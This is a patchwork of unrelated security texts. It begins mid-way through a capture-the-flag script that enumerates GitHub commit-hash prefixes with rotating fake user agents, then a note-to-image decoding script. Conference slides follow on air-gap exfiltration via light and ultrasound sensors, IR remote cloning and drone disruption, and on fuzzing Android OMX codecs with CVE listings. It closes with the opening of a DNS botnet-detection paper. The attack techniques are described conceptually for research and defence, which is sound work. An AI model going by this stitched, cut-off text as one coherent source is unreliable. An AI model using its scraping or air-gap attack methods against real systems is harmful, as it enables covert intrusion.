WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)", "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K- Ninja/2.1.1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0", "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20", "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52", ] _url = "https://github.com/awesome-ctf/TCTF2021-Guthib/commit/"#{0}" strings = "abcdef1234567890" def _get_substr(): _substr = "" for a in strings: for b in strings: for c in strings: for d in strings: yield a + b + c + d import tqdm def handle_response(response,i): if len(response)<20: return fo = open(i, "w") print(type(response)) fo.write(response) fo.close() def generate(): for cnt, i in enumerate(_get_substr()): if cnt+1 % 101 == 0: time.sleep(10) try: response = requests.get(_url+i, headers={'User-Agent': random.choice(user_agent)}).content#.decode('utf-8',"ignore") if cnt % 100 ==0: print(cnt) handle_response(response,i) except Exception as e: print(e) if __name__ == '__main__': generate() APIcommit hash welcome - singer from PIL import Image l = ['C5', 'C#5', 'D5', 'D#5', 'E5', 'F5', 'F#5', 'G5', 'G#5', 'A5', 'A#5', 'B5', 'C6', 'C#6', 'D6', 'D#6', 'E6', 'F6', 'F#6', 'G6', 'G#6', 'A6', 'A#6', 'B6', 'C7', 'C#7', 'D7', 'D#7', 'E7', 'F7', 'F#7', 'G7', 'G#7', 'A7', 'A#7', 'B7', ] [::-1] s = '''A6-D#6 G#6 G6 G6 G#6 A6-D#6 C6-G5 F#5 F#5 C6-G5 A6-F#6,D#6 A6,F#6,D#6 A6,F#6-D#6 A6,D#6 A6-D#6 A6,D#6 F#7-C7 E7-D7 F7,C#7 F#7,C7 E6,A#5 E6-A#5 E6,A#5 A6-D#6 A6-G6 F#6-E6 A6-D#6 C#7-G6 C#7,G6 C#7,A#6,G6 C#7,A#6-G6 ''' im = Image.new('L', (100, 40)) for idx, line in enumerate(s.splitlines()): if ',' in line: parts = line.split(',') for part in parts: if '-' not in part: print(idx, l.index(part)) im.putpixel((idx+2, l.index(part)), 255) else: start, end = part.split('-') start, end = l.index(start), l.index(end) print(idx, (start, end)) start, end = min(start, end), max(start, end) for i in range(start, end+1): im.putpixel((idx+2, i), 255) elif '-' in line: start, end = line.split('-') start, end = l.index(start), l.index(end) print(idx, (start, end)) start, end = min(start, end), max(start, end) for i in range(start, end+1): im.putpixel((idx+2, i), 255) Survey elif len(line): print(idx, l.index(line)) im.putpixel((idx+2, l.index(line)), 255) else: print('='*50) im.save('1.png')
pdf
See no evil, hear no evil Hacking invisibly and silently with light and sound www.pwc.co.uk July 2017 Matt Wixey – PwC UK PwC Intro • Matt Wixey • Lead the research function on PwC’s UK pentesting team • Run The Dark Art Lab research blog • Previously worked in LEA, leading R&D team PwC Agenda • Part I: Jumping air-gaps • Part II: Surveillance and counter-surveillance • Part III: Bantz • Part IV: Summary and future research PwC Disclaimers • The views and opinions expressed in this talk are not necessarily those of PwC • All content is for educational purposes only. Read up on relevant laws, only attack systems you own or have permission to attack! • What this presentation isn’t • I am in no way an electronics expert PwC Dunning-Kruger Curve Me Mt. Stupid PwC PwC PwC Part I Jumping air-gaps • A Sensor Darkly • Dreadphone • Spectregram PwC Caveats • Virtually all research in this area assumes that the attacker has already managed to infect at least one host • Attacker has physical or near-physical access • Exfiltration is of small pieces of data PwC Previous research • Van Eck phreaking – e.g. Kuhn (2003); Halevi and Saxena (2012) • AirHopper (Guri et al 2014) – radio frequencies • BitWhisper (Guri et al 2015) – heat • VisiSploit (Guri et al 2016) – codes & camera • Fansmitter (Guri et al 2016) – acoustic • SPEAKE(a)R (Guri et al 2016) – speakers to mics • xLED (Guri et al 2017) • Hasan et al (2013) – great overview of techniques • Including ALS for mobile devices • Lots more! PwC ALS • Ambient Light Sensor • Increasingly common • Laptops • Monitors • Smartphones • Tablets • Smartwatches PwC A Sensor Darkly • The plan: • Create malware to read light (lux) values from the ALS through the API • Malware executes different commands according to changes in the intensity • Problems: • Hurr durr, I’ll just shine this massive torch onto my laptop to execute commands • Need exfil capability PwC Demo PwC Exfiltration PwC Exfiltration PwC Results PwC Prototype 2 PwC Dreadphone • C2 using near-ultrasonic sounds (16-20KhZ) • Standard laptop soundcard • Toftsed et al (2010) – Army Research Laboratory • Hanspach and Goetz (2014) • Used system designed for underwater communication • Covert acoustical mesh networks PwC Soundcard woes PwC Soundcard woes • Apply multiple fade-ins / fade-outs • Then amplify the track: PwC Dreadphone PwC Spectregram PwC DEMO PwC Mitigation • TEMPEST standards • Remove/disable ALS • Screen filters • White noise • Ultrasonic detectors • Disable microphones/speakers Part II Surveillance and counter-surveillance • Laser microphone • Passive infrared motion detector • Drone to clone to pwn • Phone to clone to pwn • Active infrared motion detector PwC Laser microphone PwC Laser microphone PwC But that music choice though I love the sound of sound converted to light and then converted back to sound again in the morning. PwC Sniffing, analysing and cloning IR signals • Similar principle to RF signals • Assuming fixed codes (not rolling) • Need to listen to the signal • Analyse • Replay the cloned signal on an Arduino • See Major Malfunction (2005) – compromising hotel payment systems via infrared TV remotes PwC Sniffing the signal • Use an RTL-SDR • rtl_ir • Forked from librtlsdr PwC Sniffing the signal • IR receiver and Arduino • IRLib library PwC PwC Analysis and replay PwC Analysis and replay • If signal is a known protocol, can just play back the code • e.g. standby signal from my TV remote: • NEC 0x2FD48B7 PwC Analysis and replay • If signal is unknown, read edges/delays into an array using IRLib or IRremote library • Play array back PwC Passive IR motion detectors • Bypasses – see Porter and Smith (2013) • Move slowly • Mask body heat • Overwhelm sensor with heat (like a lighter) PwC Passive IR motion detectors PwC PwC Oops… Remote 1 Remote 3 Remote 2 Remote 4 Remote 5 Remote 6 PwC Oops… PwC Drone to clone to pwn PwC Drone to clone to pwn PwC Phone to clone to pwn PwC Phone to clone to pwn PwC Active IR motion detector PwC PwC Mitigation • Vibrations/speakers/wire screens/coverings on windows • Detect IR lasers with unfiltered cameras • Double-glazing or curved glass can cause problems • Where possible, use alarms with physical keypads to disarm, not remotes • If using remotes, go for ones which: • Use encrypted rolling code algorithms, anti-jamming, etc • Are paired uniquely to a device Part III Bantz • doubleSpeak • Annoying malware analysts • Kill More Gilmore • AstroDrone PwC Delayed Auditory Feedback (speech jamming) • Has been around since the 1950s • SpeechJammer - Kurihara and Tsukada (2012) • I built a software version PwC Speech jamming PwC Demotivating malware analysts • Inspired by Domas (2015) • “Psychological warfare in reverse engineering” • Created malware where the flow graph in disassemblers represents an image PwC DEMO PwC Kill More Gilmore PwC Kill More Gilmore PwC Kill More Gilmore If the Gilmore Girls theme song plays in our flat, the TV turns itself off Because not all heroes wear capes PwC Kill More Gilmore PwC AstroDrone PwC Effects • Either launches the drone upwards at speed • Or causes it to stick to the floor • But not crash – rotors still turn • Liu et al (2016) – ultrasonic attacks against autonomous cars • Lots of attacks against drones generally • Robinson (2015) • Son et al (2015) – using resonant frequencies to affect gyroscopic sensors • Luo (2016) PwC Animal repellent alarm • PIR • If high, sends out an ultrasonic pulse • Adjustable frequency (0-50Khz) • Adjustable sensitivity PwC AstroDrone PwC Effects GOODNIGHT SWEET PRINCE PwC Dronekiin PwC Dronekiin PwC Real-world applications • Deploy on roof to keep drones away • Prisons • Government buildings • Public events • Further research ongoing • Personal drone protection ☺ Part IV Summary PwC Research overview Ultrasound malware ALS malware Laser mic Active IR detector Passive IR detector Kill More Gilmore Drones Speech jamming Spectregram Light sensors IR sniffing IR replay Ultrasound ¯ \_(ツ)_/¯ Delivery IR detection PwC Pros & Cons • Pros • Great for physical engagements / air-gaps • Difficult to detect / defend against • Very little trace • Cheap to design and develop • Cons • Usually require proximity to targeted systems • Subject to interference • Range and power depend on resources PwC Mitigation • First step is knowing these techniques and attacks exist • And that inputs/outputs can often be easily manipulated and accepted as genuine • Where possible/feasible, block inputs/outputs to a system, or ensure they have a reliable failover • Be aware of clone-and-replay attacks • Be aware of the limitations of some security products • e.g. fixed codes, susceptible to jamming, etc PwC Future research • Exfiltration via IR • Acoustic keylogging • More work on LiFi • Further work on drone repellents • Tracking and targeting • Identification through video • Combo of infrared and sound PwC Hopefully, you’re on the left rather than the right… PwC Music credits • LiFi demo: “Arcade Funk”: https://www.dl-sounds.com/license/, https://www.dl-sounds.com/royalty-free/arcade-funk/ • Spectregram demo: “Suspense Strings”: https://www.dl- sounds.com/license/, https://www.dl-sounds.com/royalty- free/suspense-strings/ • Laser microphone demo: “Die Walküre, WWV 86B – Fantasie“: United States Marine Band, CC license, https://musopen.org/music/488/richard-wagner/die-walkure-wwv- 86b/ PwC References Air-Gaps • https://github.com/cwalk/LiFi-Music • “BitWhisper: Covert Signaling Channel between Air-Gapped Computers using Thermal Manipulations”. 2015. Guri M., Monitz M., Mirski Y., Elovici Y. • “VisiSploit: An Optical Covert-Channel to Leak Data through an Air-Gap”. 2016. Guri M., Hasson O., Kedma G., Elovici Y. • “Fansmitter: Acoustic Data Exfiltration from (Speakerless) Air-Gapped Computers”. 2016. Guri M., Solewicz Y., Daidakulov A., Elovici Y. • “Sensing-enabled channels for hard-to-detect command and control of mobile devices”. 2013. Hasan R., Saxena N., Haleviz T., Zawoad S., Rinehart D. • “Information leakage from optical emanations”. 2002. Loughrey, J., Umphress D.A. • “XLED: Covert Data Exfiltration from Air-Gapped Networks via Router LEDs”. 2017. Guri, M., Zadov B., Daidakulov A., Elovici Y. • “AirHopper: Bridging the air-gap between isolated networks and mobile phones using radio frequencies”. 2014. Guri M., Kedma G., Kachlon A., Elovici Y. • “SPEAKE(a)R: Turn speakers to microphones for fun and profit”. 2016. Guri M., Daidakulov A., Elovici Y. • “Compromising emanations: Eavesdropping risks of computer displays”. 2003. Kuhn, M.G. • “A closer look at keyboard acoustic emanations: random passwords, typing styles and decoding techniques”. 2012. Halevi T., Saxena N. • https://msdn.microsoft.com/en-us/library/windows/desktop/dd318933(v=vs.85).aspx • “Stealing sensitive browser data with the 23C Ambient Light Sensor API”. 2017. Olejnik, L. • “An Examination of the Feasibility of Ultrasonic Communications Links”. 2010. Toftsed D., O’Brien S., D’Arcy S., Creegan E., Elliot S. • “On Covert Acoustical Mesh Networks in Air”. 2014. Hanspach M., Goetz M. • [Equation] – Aphex Twin • Look – Venetian Snares Surveillance and Counter-surveillance • “Let’s Get Physical”. 2013. Porter D., Smith S. BH USA 2013. • “Old Skewl Hacking – Infrared”. 2005. Major Malfunction. DEF CON 13. • “Digital Ding Dong Ditch”. 2014. Kamkar, S. https://samy.pl/dingdong/. PwC References Bantz • “Repsych: Psychological warfare in reverse engineering”. 2015. Domas, C. DEF CON 23. • https://github.com/worldveil/dejavu • “Knocking my neighbour’s kid’s cruddy drone offline”. 2015. Robinson, M. DEF CON 23. • “Rocking drones with intentional sound noise on gyroscopic sensors”. 2015. Son Y., Shin H., Kim D., Park Y., Noh J., Choi K., Choi J., Kim Y. • “Drones hijacking: Multi-dimensional attack vectors and countermeasures”. 2016. Luo, A. DEF CON 24 • “Can you trust autonomous vehicles: Contactless attacks against sensors of self-driving vehicles”. 2016. Liu J., Yan C., Xu W. DEF CON 24. Thank you! Any questions? email: [email protected] twitter: @darkartlab
pdf
Fuzzing'Android'OMX Mingjian Zhou'and'Chiachih Wu C0RE'Team About'Us • Mingjian Zhou,'周明建 – Security'researcher'@'360'C0RE'team – Focused'on'Android'vulnerability'research'and'exploit' development • Chiachih Wu,'吳家志 (@chiachih_wu) – Security'researcher'@'360'C0RE'team – Android/Linuxsystem'security'research – C0RE'team'(c0reteam.org)'founding'member • C0RE'Team – A'security-focused'group'started'in'mid-2015 – With'a'recent'focus'on'the'Android/Linux'platform,'the'team' aims'to'discover'zero-day'vulnerabilities,'develop'proof-of- concept'exploits,'and'explore'possible'defenses Agenda • Introduction • Fuzzing'Android'OMX • Confirmed'Vulnerabilities • Patterns'of'OMX'Vulnerabilities INTRODUCTION About'OMX What'is'OMX'(1/2) • Open'Media'Acceleration,'aka'Open'MAX,' often'shortened'as'“OMX” • WIKI:%a'non-proprietary'and'royalty-free'cross- platform set'of C-language programming< interfaces that'provides'abstractions'for' routines'especially'useful'for'audio,<video,< and<still<images<processing. What'is'OMX'(2/2) OMX'in'Android'(1/2) • OMX'Integration'Layer'(IL) – provides'a'standardized'way'for'Stagefright to' recognize'and'use'custom'hardware-based' multimedia<codecs<called<components. • Vendors'provide'the'OMX<plugin<which'links' custom'codec'components'to'Stagefright. • Custom'codecs'must be'implemented' according'to'the'OMX'IL'component'standard. OMX'in'Android'(2/2) Stagefright Video'OMX' Component Audio'OMX' Component Media'Player'Service Video'Drivers Audio'Drivers OMX<IL Kernel MediaServer Soft A/V'Codecs Music User'APPs MMS … Binder'IPC IOCTL Binder OMX'Codecs • Android'provides'built-in'software'codecs'for' common'media'formats • Vendors’'codecs Built-in'Soft'Codecs'Example Vendor'Codecs'Example Why'OMX? • Exposed'via'multiple'attack'vectors • Media'native'codes'are'often'vulnerable FUZZING<ANDROID<OMX Attack'Surface'&'Flow The'Attack'Surface'(1/2) Stagefright Video'OMX' Component Audio'OMX' Component Media'Player'Service Video'Drivers Audio'Drivers OMX<IL Kernel MediaServer Soft A/V'Codecs Music User'APPs MMS …… IOCTL Binder Binder'IPC The'Attack'Surface'(2/2) MediaServer IOMX Google'Soft'OMX' Codecs SoftVPX SoftAMR SoftMP3 SoftG711 … Vendor'OMX'Plugins Qcom plugin Nvidia plugin MTK'plugin … OMX'Node'Instance APP Binder'IPC OMX'Master OMX'Interfaces • Defined'in'IOMX API Functions listNodes List'names'of'all'the'codec'component allocateNode Create'a'codec'component allocateBuffer Allocate'input/output buffers'for'codec useBuffer Provide a'share'buffer'to'the'server emptyBuffer Request'(or'receive)'an'empty'input'buffer,'fill'it'up'with' data'and'send'it'to'the'codec'for'processing fillBuffer Request'(or'receive)'a'filled'output'buffer,'consume'its' contents'and'release'it'back'to'the'codec sendCommand Send'commands'to'codecs, such'as'changing'state,'port' disable/enable getParameter Get'codecs’'parameters setParameter Set'codecs’'parameters Fuzzing'Flow Change'the'codec'state' from'loaded'to'idle Change'the'codec'state' from'idle'to'executing Empty/Fill'buffers Free'node Start end Get'the'default'codec' parameters Select'a'component'from' the'node'list Generate'new' parameters'and'set Prepare'input'port' buffers Prepare'output'port' buffers CONFIRMED<VULNERABILITIES Confirmed'Vulnerabilities'(1/3) • By'2016/07/07,'total'21 vulnerabilities'are' confirmed. – 16 vulnerabilities'(15'high,'1'moderate)'have'been' disclosed'on'Android'Security'Bulletins. – Others will'be'disclosed'on'later Android'Security' Bulletins. • Almost<all the'codecs'implemented'by'Google and'vendors(QualComm,<Nvidia,<MediaTek)< are'vulnerable. Confirmed'Vulnerabilities'(2/3) NO. CVE Android<ID Codec 1 CVE-2016-2450 ANDROID-27569635 Google'SoftVPX'encoder 2 CVE-2016-2451 ANDROID-27597103 Google'SoftVPX'decoder 3 CVE-2016-2452 ANDROID-27662364 Google'SoftAMR'decoder 4 CVE-2016-2477 ANDROID-27251096 Qcom'libOmxVdec 5 CVE-2016-2478 ANDROID-27475409 Qcom'libOmxVdec 6 CVE-2016-2479 ANDROID-27532282 Qcom'libOmxVdec 7 CVE-2016-2480 ANDROID-27532721 Qcom libOmxVdec 8 CVE-2016-2481 ANDROID-27532497 Qcom libOmxVenc 9 CVE-2016-2482 ANDROID-27661749 Qcom libOmxVdec 10 CVE-2016-2483 ANDROID-27662502 Qcom libOmxVenc Confirmed'Vulnerabilities'(3/3) NO. CVE Android<ID Codec 11 CVE-2016-2484 ANDROID-27793163 Google SoftG711'decoder 12 CVE-2016-2485 ANDROID-27793367 Google SoftGSM decoder 13 CVE-2016-2486 ANDROID-27793371 Google'SoftMP3'decoder 14 CVE-2016-3747 ANDROID-27903498 Qcom libOmxVenc 15 CVE-2016-3746 ANDROID-27890802 Qcom libOmxVdec 16 CVE-2016-3765 ANDROID-28168413 Google SoftMPEG2'decoder 17 CVE-2016-3844 AndroidID-28299517 Not'disclosed yet 18 CVE-2016-3835 AndroidID-28920116 Not'disclosed yet 19 CVE-2016-3825 AndroidID-28816964 Not'disclosed yet 20 CVE-2016-3824 AndroidID-28816827 Not'disclosed yet 21 CVE-2016-3823 AndroidID-28815329 Not'disclosed yet PATTERNS<OF<CONFIRMED< VULNERABILITIES Patterns'of'Confirmed'Vulnerabilities • Mismatch'between'Android'OMX'framework' and'vendor'codecs’'implementation • Time of check'to'time of use • Race'condition • Invalid'input/output'buffer'length Mismatch'between'Android'OMX'and' vendors’'codec'(1/2) • CVE-2016-2480 APP MediaServer Binder'Request GET_CONFIG Config Size:'16 Config Index:'2 Config Buffer Size:'16 Android' OMX Vendor' Codec memcpy allocate Config Index:0'Size:'16 Config Index:1'Size:'256 Config Index:2'Size:'256 Mismatch'between'Android'OMX'and' vendors’'codec'(2/2) • CVE-2016-2477 APP MediaServer Vendor'Extra' Config Android' OMX Vendor'Codec Binder'Request SET_CONFIG pointer:'0x1234 Vendor'Extra' Config pointer:'0x1234 Read/Write'with' the'pointer Read'the'config from'APP Time of Check'to'Time of Use'(1/2) NO. CVE Android<ID Codec 1 CVE-2016-2479 ANDROID-27532282 Qcom libOmxVdec 2 CVE-2016-2481 ANDROID-27532497 Qcom libOmxVenc 3 CVE-2016-2482 ANDROID-27661749 Qcom libOmxVdec 4 CVE-2016-2483 ANDROID-27662502 Qcom libOmxVenc Time of Check'to'Time of Use'(2/2) APP Set'codec'input'buffer'count' to'8 SET_PARAMETER Check'the'buffer'count'and' allocate'buffers Set'codec'input'buffer'count' to'0x1234 Access'buffers'with'0x1234 USE_BUFFER SET_PARAMETER USE_BUFFER/FREE_ NODE OOB'write'&'Heap'overflow Media'Server Race'Condition • CVE-2016-3747 APP MediaServer Input/output' buffers Decoder'thread Binder'IPC USE_BUFFER SEND_COMMAND Read/write free FREE_NODE Binder'thread NO'SYNC. Invalid'Input/Output Buffer'Length • Codecs'don’t'check'the'buffer'length NO. CVE Android<ID Codec 1 CVE-2016-2450 ANDROID-27569635 Google'SoftVPX'encoder 2 CVE-2016-2451 ANDROID-27597103 Google'SoftVPX'decoder 3 CVE-2016-2452 ANDROID-27662364 Google'SoftAMR decoder 4 CVE-2016-2484 ANDROID-27793163 Google SoftG711'decoder 5 CVE-2016-2485 ANDROID-27793367 Google SoftGSM' decoder 6 CVE-2016-2486 ANDROID-27793371 Google'SoftMP3'decoder Invalid'Input/output'Buffer'Length APP MediaServer Input'buffers Size:'256 Output'Buffers Size:'8 Decode Memory'shared' with'APP Binder'IPC USE_BUFFER Buffer'size:'256 Read'256'bytes Write'300'bytes USE_BUFFER Buffer'size:'8 codec Conclusion • Android'OMX'is'vulnerable – OMX'interfaces'and'OMX'codecs'are'implemented' by'Google'and'vendors'separately. – Media'processing'is'complex.' • Fuzzing'combined'with'code'auditing'is' helpful'for'such'modules. – Many'codecs'&'parameters Any'Questions'? • If'you'prefer'to'ask'offline,'contact'us: – Mingjian Zhou • Twitter/Weibo:'@Mingjian_Zhou • Mail:'[email protected] – Chiachih Wu • Twitter:'@chiachih_wu APPENDIX References • Android – https://source.android.com/devices/media/ – https://developer.android.com/reference/android /media/MediaCodec.html • OMX – https://www.khronos.org/openmax/
pdf
Hybrid rule-based botnet detection approach using machine learning for analysing DNS traffic Saif Al-mashhadi1,2, Mohammed Anbar1, Iznan Hasbullah1 and Taief Alaa Alamiedy1,3 1 National Advanced IPv6 Centre, Universiti Sains Malaysia, Penang, Malaysia 2 Electrical Engineering, University of Baghdad, Baghdad, Baghdad, Iraq 3 ECE Department- Faculty of Engineering, University of Kufa, Kufa, Najaf, Iraq ABSTRACT Botnets can simultaneously control millions of Internet-connected devices to launch damaging cyber-attacks that pose significant threats to the Internet. In a botnet, bot- masters communicate with the command and control server using various communication protocols. One of the widely used communication protocols is the ‘Domain Name System’ (DNS) service, an essential Internet service. Bot-masters utilise Domain Generation Algorithms (DGA) and fast-flux techniques to avoid static blacklists and reverse engineering while remaining flexible. However, botnet’s DNS communication generates anomalous DNS traffic throughout the botnet life cycle, and such anomaly is considered an indicator of DNS-based botnets presence in the network. Despite several approaches proposed to detect botnets based on DNS traffic analysis; however, the problem still exists and is challenging due to several reasons, such as not considering significant features and rules that contribute to the detection of DNS-based botnet. Therefore, this paper examines the abnormality of DNS traffic during the botnet lifecycle to extract significant enriched features. These features are further analysed using two machine learning algorithms. The union of the output of two algorithms proposes a novel hybrid rule detection model approach. Two benchmark datasets are used to evaluate the performance of the proposed approach in terms of detection accuracy and false-positive rate. The experimental results show that the proposed approach has a 99.96% accuracy and a 1.6% false- positive rate, outperforming other state-of-the-art DNS-based botnet detection approaches. Subjects Data Mining and Machine Learning, Security and Privacy Keywords Botnet detection, DNS analysis, Rule-based technique, Machine learning, Network security INTRODUCTION Nowadays, especially during the global COVID-19 pandemic, there is no longer a debate that the Internet has become a core element of our daily life. Today’s Internet is about online presence, e-learning, social media, e-banking, work from home, online shopping, Internet of Things, and cloud computing (Stevanovic et al., 2012; Nozomi Networks Labs, 2020; Lallie et al., 2020). Unfortunately, Internet resources are continuously under threat by malicious actors, whether individual or organised entities. The botnet is now one of the most preferred tools by malicious actors for sophisticated cyber attacks. As a result, How to cite this article Al-mashhadi S, Anbar M, Hasbullah I, Alamiedy TA. 2021. Hybrid rule-based botnet detection approach using machine learning for analysing DNS traffic. PeerJ Comput. Sci. 7:e640 DOI 10.7717/peerj-cs.640 Submitted 11 January 2021 Accepted 22 June 2021 Published 13 August 2021 Corresponding authors Saif Al-mashhadi, [email protected] Mohammed Anbar, [email protected] Academic editor Muhammad Tariq Additional Information and Declarations can be found on page 28 DOI 10.7717/peerj-cs.640 Copyright 2021 Al-mashhadi et al. Distributed under Creative Commons CC-BY 4.0 it is considered one of the critical threats to Internet users’ security and privacy (Nozomi Networks Labs, 2020). There are two main motives for building and operating botnets: financial gain by offering botnets for hire for attacks and crypto mining and politics for hacktivism or nation-states. The services provided by the botnets vary from the crypto-mining campaign and intelligence gathering to anonymised large-scale cyber attacks (Almutairi et al., 2020). A botnet comprises a network of malware-infected computing devices (Abu Rajab et al., 2006). A malware transforms compromised computing devices into robots (bots) controlled remotely by the attacker, known as a botmaster, without end-users knowledge (Asadi et al., 2020). Botmasters hide their location and avoid detection of law enforcement entities by controlling and initiating botnet attacks via the Internet through command and control (C&C) servers using various communication techniques (Almutairi et al., 2020). Figure 1 shows the botnet communication architecture. Some of the botnet attacks include Distributed Denial of Service (DDoS), sending spam email, ransomware (Gu et al., 2013; Alomari et al., 2016), or phishing emails (Karim et al., 2014), and stealing sensitive data that could be used for further attacks. Even though there are different approaches to mitigate botnet attacks, since its first appearance in 1993 (Silva et al., 2013), the number of botnet attacks has been growing steadily. The 10-year trend of the size of botnet-based DDoS attacks (Morales, 2018) in Fig. 2 clearly shows that there is a marked increase from 2007 (24 Gbps) to 2018 (1.7 Tbps). Similarly, the Symantec Internet Security Threat Report (Symantec, 2018) reported a 62% increase in botnet activities in 2018 compared to the previous year. Initiating and coordinating attacks require all members (bots) to be connected with each other and the C&C servers. This interconnectedness is fundamental for the botnet lifecycle Figure 1 Botnet communication architecture. Full-size  DOI: 10.7717/peerj-cs.640/fig-1 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 2/34 (Khattak et al., 2014), which allows the botnet members to receive new commands and synchronise their actions. There are three types of botnet communication architectures according to their communication topology: centralised (client-server), decentralised (peer-to-peer), and hybrid (Silva et al., 2013; Negash & Che, 2015). The bots in the centralised category connect to the C&C using IRC, HTTP, or DNS protocols to obtain instruction and update their status (Silva et al., 2013; Negash & Che, 2015). Table 1 provides a detailed comparison between the three botnet communication architectures. The bots connect with the C&C server using pre-programmed static IP addresses of the C&C server within the malware codes or algorithm-generated domain names (Cantón, 2015). It is possible to detect different types of botnet architecture by analysing DNS communication traffic, regardless of the communication architecture used (centralised, decentralised, or hybrid). DNS is all about resolving queries to map a domain name hierarchically to its corresponding IP address, similar to a phone book that catalogues human-readable Figure 2 Size of Botnet DDoS attacks over 10 years (Morales, 2018). Full-size  DOI: 10.7717/peerj-cs.640/fig-2 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 3/34 domain names (URLs) and their related computer-readable IP address formats (numeric). Figure 3 illustrates the operation of domain name resolution. DNS is an essential Internet service that cannot be disabled or blocked using firewalls without incapacitating the network functionality. For this reason, some botmasters rely on the DNS protocol for botnet communication (Mockapetris, 1987). Botmasters avoid detection by using dynamic DNS strategies that constantly and rapidly change domain names and their associative IP addresses. Two popular dynamic DNS techniques are fast- flux (Holz et al., 2008) and domain-flux (Yadav & Reddy, 2012). As shown in Fig. 4, fast-flux is a technique that regularly assigns several IP addresses to the same domain name. The fast-flux approach is often used for legit purposes, such as load balancing by content delivery network operators (Yadav & Reddy, 2012). On the other hand, the domain-flux method is carried out by dynamically generating pseudo-random domains using the Domain Generation Algorithm (DGA). The DGA has several specific characteristics, as shown in Fig. 5. Firstly, there is no hardcoded domain name on the C&C server, making it unpredictable (Zago, Gil Pérez & Martínez Pérez, 2019). Secondly, the botmaster could use DGA as a fail-safe or backup channel when the primary communication channel fails (Stone-Gross et al., 2011). The Zeus worm (Luo et al., 2017) is one of the worms that employs DGA. Table 1 Comparison of botnet communication architectures. Architecture Description Pro Cons Centralised Bots are connected, get instruction and centrally update their status with the C&C using IRC, HTTP or DNS protocols (Silva et al., 2013) Easy to construct and manage by attackers A single failure point Peer to Peer (P2P) It is similar in technique to the P2P file- sharing system, where the bot has dual behaviour; it can act as a botmaster of C&C server to send commands and act like a typical bot when receiving the command from other bots (Al-Mashhadi et al., 2019). P2P is constructed so that each bot communicates with nearby bots in its system to organise a cluster. Example P2P botnets include GameOver Zeus, Sality Immune to shut down (Singh, Singh & Kaur, 2019) Managing difficulties due to the required routing protocols (Acarali et al., 2016) Hybrid It is a combination of P2P and centralised architecture, taking advantage of both (Khattak et al., 2014; Khan et al., 2019). In this architecture, the C&C server is central and consists of many P2P organised bots that forward the command to the server bots in a hierarchical manner. Besides, the botmaster uses proxy bots between their machine and the botnet, with each bot act as a servant transmitting commands to the bots that they compromised (Wang, Sparks & Zou, 2010) More resistant to taking down this structure than the previous ones. It also provides profit for botmasters by allowing renting part of their botnet to provide different attack services This architecture faces higher latencies in commands and control propagation than P2P, but they are very immune to downstream efforts since only a minor portion of the botnet will be affected if the C&C server has been shut down (Khattak et al., 2014) Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 4/34 request to visit http://example.org Root Name Server .org Top Level Domain Name Server Recursive DNS 1 4 3 7 8 5 2 6 Authoritative Name Server for example.org 7 example.org A = 93.184.216.34 A = 93.184.216.34 .org ns = 199.19.56.1 example.org ns =94.184.88.10 Figure 3 DNS resolving process. Full-size  DOI: 10.7717/peerj-cs.640/fig-3 Figure 4 Typical fast-flux domain resolution. Full-size  DOI: 10.7717/peerj-cs.640/fig-4 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 5/34 Combining fast-flux and DGA techniques allows constant modification of the C&C’s IP address and domain name to avoid detection (Zhou et al., 2013). Although such techniques are complex, they are popular because they maintain the communication channel open and undetected by using dynamic but somewhat secret domain names. Examples of botnets that use the DGA technique to avoid detection are Necurs and Conficker. A Conficker bot generates up to fifty thousand new unique domain names daily but only using 500 of them for communication purposes. On the other hand, the Necurs bot systematically generates 2,048 new domains through an algorithm (Antonakakis & Perdisci, 2012). The evasive techniques to control botnets generate abnormal traffic patterns throughout the botnet lifecycle phases. These patterns can be used to detect botnets. The botnet lifecycle could be broken down into four phases, as listed and illustrated in Fig. 6. Initial infection and propagation phase: In this phase, bot malware aims to infect Internet-facing devices, such as cell phones, personal computers, smart devices, and even CCTVs. The attacker has many tools and techniques at his disposal to identify exploitable vulnerabilities to gain access and control the targeted host. Some strategies include social engineering, spam, and phishing. Once a vulnerability is found and successfully exploited, the bot would connect to a remote server (botmaster) to download and install all required software to control the host device (Al-Mashhadi et al., 2019). Connection and rallying phase: In this phase, the bot tries to find and connect to the C&C server and other bots. The communication occurs either via the C&C server or a proxy server. The likelihood of exposure of the bot is the highest in this phase because this phase is repeated until a connection is established (Silva et al., 2013). Nevertheless, Figure 5 Typical procedure for DGA DNS resolution. Full-size  DOI: 10.7717/peerj-cs.640/fig-5 Inial Infecon and propagaon Connecon and rallying Malicious and aacks acvies Maintenance and upgrading Stage 1 Stage 2 Stage 3 Stage 4 Figure 6 Botnet life—cycle. Full-size  DOI: 10.7717/peerj-cs.640/fig-6 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 